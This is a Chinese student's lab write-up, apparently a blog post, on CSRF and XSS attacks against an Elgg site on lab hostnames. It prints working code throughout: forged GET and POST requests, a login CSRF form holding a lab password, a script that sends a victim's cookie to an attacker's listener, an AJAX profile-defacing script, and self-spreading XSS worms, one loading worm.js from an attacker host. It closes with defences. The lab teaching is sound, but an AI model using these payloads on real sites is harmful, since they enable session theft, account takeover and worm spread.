因为在正文里嵌了单独的一个
<script>
标签,导致了对自己网站的XSS攻击,悲
CSRF GET
①基于GET请求的CSRF攻击,需要实现Alice在不经意间加Samy好友的功能。首先通过HTTP Header抓取正常的加好友请求,可以看到这是一个形如http://www.csrflabelgg.com/action/friends/add?friend=xx
的GET请求
②xx为所加好友的编号,这里samy的编号45可以通过另外一个账号如Boby对Samy发起好友申请查看,如下图
②接下来修改www.csrflabattacker.com
的主页,首先修改/etc/apache2/sites-available/000-default.conf
文件,添加DirectoryIndex
字段,设置主页为index.html
③index.html
的内容如下,通过img
字段发送GET请求,因为这个时候Alice与Elgg保持会话,所以这个请求发送时会附带Alice的cookie,从而使Alice添加Samy为好友.
<html>
<head>
<body>
<img hidden="true" src="http://www.csrflabelgg.com/action/friends/add?friend=45" />
</body>
</head>
</html>
④通过邮件发送www.csrflabattacker.com
这个攻击网址给Alice
⑤Alice受到带有网址的邮件,如果点击,则会触发主页中的img请求
⑥抓包发现Alice确实发送了加好友请求
⑦此时Alice已经添加Samy为好友!
CSRF POST
①使用POST请求修改Alice的主页,首先使用一个账号正常修改主页,抓包查看正常的报文及其字段
②可以看到修改报文附带以下字段,其中description字段控制着主页内容
③根据以上信息使用javascript
构造POST请求,具体内容如下.fields变量存储上以上这些字段的input标签.将这个脚本写入www.csrflabattacker.com
的主页中
<html>
<img hidden="true" src="https://typora-img-1311051873.cos.ap-beijing.myqcloud.com/typora/202303221053311.jpg" />
<body>
<script type="text/javascript">
function csrf_hack() {
var fields;
fields += "<input type='hidden' name='name' value='Alice'>";
fields += "<input type='hidden' name='description' value='hacked by U202012007 Jie Huang'>";
fields += "<input type='hidden' name='location' value=''>";
fields += "<input type='hidden' name='accesslevel[location]' value='2'>";
fields += "<input type='hidden' name='guid' value='42'>";
fields += "<input type='hidden' name='accesslevel[description]' value='2'>";
fields += "<input type='hidden' name='briefdescription' value=''>";
fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
var url = "http://www.csrflabelgg.com/action/profile/edit";
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
window.onload = function () { csrf_hack(); }
</script>
</body>
</html>
④同样发邮件给Alice,Alice点击后触发POST请求
⑤此时查看主页,已经被篡改!
login CSRF
④login CSRF主要实现了账号的顶替,首先正常登录,查看正常的login报文,login报文附带了username
,password
,persistent
等信息.
⑤这里可以不需要JavaScript
构建post表单,直接通过网页控制台就可以查看登录界面元素,定位登录表单,把这整个复制下来即可
⑥复制下来的表单如下,在username
和password
字段填入Samy的账号密码.最后写一个script用于表单发送出去.以下就是主页内容
<form method="post" action="http://www.csrflabelgg.com/action/login" class="elgg-form-login elgg-form">
<fieldset><input name="__elgg_token" value="roMNct_LB7fLv_dXiu-3SA" type="hidden"><input name="__elgg_ts"
value="1685972950" type="hidden">
<div>
<label>Username or email <input value="samy" name="username" autofocus="autofocus" required="required"
class="elgg-input-text" type="text"> </label>
</div>
<div>
<label>Password <input value="seedsamy" autocapitalize="off" autocorrect="off" name="password" required="required"
class="elgg-input-password" type="password"> </label>
</div>
<div class="elgg-foot">
<label class="mtm float-alt">
<input name="persistent" value="true" type="checkbox">
Remember me </label>
<input value="Log in" class="elgg-button-submit elgg-button" type="submit">
<ul class="elgg-menu elgg-menu-login elgg-menu-general elgg-menu-hz mtm elgg-menu-login-default">
<li class="elgg-menu-item-register"><a href="http://www.csrflabelgg.com/register"
class="elgg-menu-content registration_link">Register</a></li>
<li class="elgg-menu-item-forgotpassword"><a href="http://www.csrflabelgg.com/forgotpassword"
class="elgg-menu-content forgot_link">Lost password</a></li>
</ul>
</div>
</fieldset>
</form>
<script>
document.forms[0].submit();
</script>
⑦同样是发邮件给Alice,附带攻击网址
⑧Alice点击后,画面闪过登录表单界面,随后发现成功登陆上Samy的账号!
CSRF 防御
①CSRF防御可以开启gatekeeper,即使用安全令牌和时间戳来防止跨站脚本攻击.开启方式是修改/var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg/ActionService.php
中的gatekeeper
函数,注释掉开始的永真判断.
②开启防御后,login CSRF失效,因为我们使用的时间戳和token都是samy正常登录留下的,由Samy当时的会话,时间戳决定token.而Alice与Elgg的会话ID肯定与Samy和Elgg的会话ID不同,那么肯定会验证失败.所以无法登录
形式化来说, $token = func(time,id)$,$func(time_,id_{samy})\neq func(time,id_{alice})$
③POST请求因为没有附带时间戳和token信息而被直接拒绝
④GET CSRF攻击同理,没用两个字段从而被拒绝操作
⑤如果要查看Alice自己的token也容易实现,就如之前得到Samy的token一样.通过抓包Alice的登录报文即可
XSS COOKIE
①通过XSS攻击得到Alice的COOKIE,首先Samy在主页填入以下脚本信息,脚本内容是通过img
标签触发get
请求,从而将自身的cookie
作为c字段发送给localhost的12007端口.这里因为在同一台机子上使用localhost即可,否则应该是攻击者的主机IP地址
<script>document.write('<img src=http://localhost:12007?c=' + escape(document.cookie) + ' >'); </script>
②Samy将这段脚本填入brief description
③攻击者打开终端开始监听,Alice如果点开Samy主页,脚本就会被解析运行,从而将cookie发送.在监听终端可以看到Alice的cookie
④对比监听终端受到的cookie和浏览器控制台存放的cookie,一致
XSS AJAX
①AJAX攻击可以用来篡改主页,通过JavaScript
脚本发送HttpRequest
来篡改网页.脚本内容与先前的CSRF POST
基本一致,不过更加隐蔽一点,不需要用户点击恶意网站.
②脚本内容如下,主要是description
字段
<script type="text/javascript">
window.onload = function () {
var token = "__elgg_token=" + elgg.security.token.__elgg_token;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var name = "&name=" + elgg.session.user.name;
var desc = "&description=" + "Samy is my hero hacked by U202012007 Jie Huang" +
"&accesslevel[description]" + "2";
var guid = "&guid=" + elgg.session.user.guid;
var content = token + ts + name + desc + guid
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
if (elgg.session.user.guid != 47) {
var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
③脚本填入About me中,记得使用html进行编辑,否则脚本会被解析成普通文字
④Alice访问攻击者主页,通过HttpHeader可以看到Alice发送了修改主页请求
⑤查看主页,已经被篡改!
XSS Worm DOM
①XSS蠕虫攻击在修改主页的基础上,将恶意代码也拷贝到了受害者主页.从而将危害进一步传播.如果使用DOM的方法,直接在先前的脚本中添加以下一部分内容.这部分内容可以将恶意代码本身也复制到受害者的主页.具体来说,通过getElementById("worm")
获取当前恶意脚本代码本身,然后再构造description时附带这部分wormcode
即可.类似递归的概念(虽然不是),篡改的内容除了恶意标语还有篡改代码本身,这主要是DOM解析特性决定的(如果没记错应该会先解析DOM树,然后在执行script).
.....
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
.......
var desc = "&description=" + "SAMY is MY HERO Hacked by U202012007" + wormCode;
......
②Alice点开Samy主页后,About me被篡改
③Alice主页的html部分也被附带上了恶意代码
④如果Boby点开Alice主页,同样主页会被篡改
⑤同样Boby主页也被附带恶意代码,证明蠕虫攻击的效果
XSS WORM LINK
①LINK方式比DOM方式更加简洁,首先把恶意脚本放入js文件中,wormcode(附加恶意代码)此时直接使用一个script标签引用这个js文件即可.
// worm.js in /var/www/CSRF/Attacker
window.onload = function() {
var wormCode = encodeURIComponent("<script type=\"text/javascript\" " +"id = \"worm\" " +"src=\"http://www.csrflabattacker.com/worm.js\">" +"</" + "script>");
var token = "__elgg_token=" + elgg.security.token.__elgg_token;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var name = "&name=" + elgg.session.user.name;
var desc = "&description=" + "SAMY is MY HERO Hacked by U202012007" + wormCode;
desc += "&accesslevel[description]=" + "2";
var guid = "&guid=" + elgg.session.user.guid;
var content = token + ts + name + desc + guid;
var sendurl="http://www.xsslabelgg.com/action/profile/edit";
if (elgg.session.user.guid != 47) {
var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
②此时在主页只需要写一个script标签引入刚刚写的js文件即可
<script type="text/javascript" id="worm" src="http://www.csrflabattacker.com/worm.js">
</script>
③查看Samy主页,发现worm.js确实被解析.接下来的攻击效果与DOM一致
④ALICE的主页会被篡改
⑤主页html部分也会附带恶意脚本
XSS 防御
①第一种XSS防御是HTMLawed,通过管理员打开
②打开后HTMLawed,恶意脚本的\<script>标签会被脱掉,从而无法完成正常的script解析与执行.
③另一种防御是PHP内置的方法 htmlspecialchars(),可以修改/var/www/XSS/Elgg/vendor/elgg/elgg/views/default/ output/
这个目录下的
text.php,url.php,dropdown.php,email.php
来开启这个功能.
④开启后,它会对用户输入中的特殊字符进行编码,例如将"<"转换为"\<" ,">"转换为"\>",如下图所示
哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈
哈哈哈哈哈哈哈怎么会把自己网站攻击了呀!戏剧效果完美!
GLS! 一直没发现你回我了hhh